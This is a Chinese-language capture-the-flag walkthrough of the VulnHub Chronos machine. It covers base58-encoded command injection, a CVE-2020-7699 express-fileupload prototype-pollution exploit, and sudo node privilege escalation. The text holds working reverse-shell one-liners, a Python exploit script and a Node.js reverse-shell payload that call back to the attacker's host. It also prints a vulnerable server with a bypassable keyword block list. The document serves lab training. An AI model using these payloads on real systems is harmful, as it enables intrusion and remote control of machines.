VulnHub-Chronos

前言

  这是打靶训练的第六周,难度中等,下载链接。目标获取到两个flag+root权限。打下来后给我的感觉是,这靶机真的非常有趣。

信息搜集

  
  两个http服务
  
  先看80端口
  
  再看8000端口
  
  好像也没啥东西,于是查看80和8000两个网页的源代码,发现这两套源码基本一样
  
  注意第21行的js,把它在线格式化后,发现了一条url地址http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,我将中间的chronos.local换成192.168.2.161进行访问
  
  出现Permission Denied即拒绝访问。我想是不是要绑定host,vi /etc/hosts,按下图绑定。
  
  再次访问80端口,出现了变化
  
  每次刷新一次网页,下面的日期都会发生变化

命令执行

  使用burp抓包,正常
  
  然后我将format=后面的字母,随便删除一些,再次发包。发现一直没有响应,说明后面的数据是特殊的。当务之急要知道4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL这串代码是什么意思。
  这一看都不像是base64编码,这里使用强大解码工具cyberchef。下载到本地打开CyberChef.html,右上角Input填入代解码的代码,左上角的Search输入magic,然后双击magic,右下角的Output将会出结果。
  
  用的是base58加密,解码结果是'+Today is %A, %B %d, %Y %H:%M:%S.'。网页每次刷新下面的日期都会刷新,像是用了date命令
  
  猜测它用了date命令,于是用将;ls进行base58加密后,发包得到
  
  果然是命令执行,kali开启监听4444端口,对; echo 'bash -i >& /dev/tcp/192.168.2.207/4444 0>&1' | bash进行编码后,再次发包。成功反弹shell
  来到/home/imera,发现有个user.txt,这里面肯定有啥东西。但遗憾的是权限不足。
  
  再次回到/opt/chronos/原目录下
  
  查看package.json这个是对代码的依赖

{
  "dependencies": {
    "bs58": "^4.0.1",
    "cors": "^2.8.5",
    "express": "^4.17.1"
  }
}

  这里就可以看出依赖了bs58解码,然后再查看app.js 看是否有漏洞

const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})

  第26行user-agent必须是Chronos,才继续执行,否则返回Permission Denied。再看上面的burp截图,确实是。你可以换个user-agent,发包就会出现Permission Denied。
  第29行判断了那么多命令,但没写return,所以第31行的exec可以继续执行。这步导致了命令执行。
  很遗憾这里没有任何漏洞,来到/opt/chronos-v2/backend,也是node.js搭建
  
  先查看package.json依赖

{
  "name": "some-website",
  "version": "1.0.0",
  "description": "",
  "main": "server.js",
  "scripts": {
    "start": "node server.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "^1.1.7-alpha.3"
  }
}

  其中的express-fileupload,一看就像文件上传啥的,查找node.js express-fileupload exp发现了此文章。CVE-2020-7699:NodeJS模块代码注入。漏洞的利用条件是app.use(fileupload({ parseNested: true }));,查看server.js,第7行正好符合条件。

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);

CVE-2020-7699

  找到了exp代码,在文章的末尾给出了代码。修改好后上传到靶机上。kali开启监听5555端口

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.2.207/5555 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

  靶机输入python3 exp.py,反弹shell正常。这时候再次查看user.txt获取到第一个flag
  

提权

  这次的提权非常的简单,使用sudo -l,发现可以用node.js 提权
  
  再次kali开启监听6666端口,使用下面的代码提权,命名成exp.js。

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(6666, "192.168.2.207", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

  靶机下载好exp.js,使用sudo node exp.js,即可反弹shell
  

查看评论 -
评论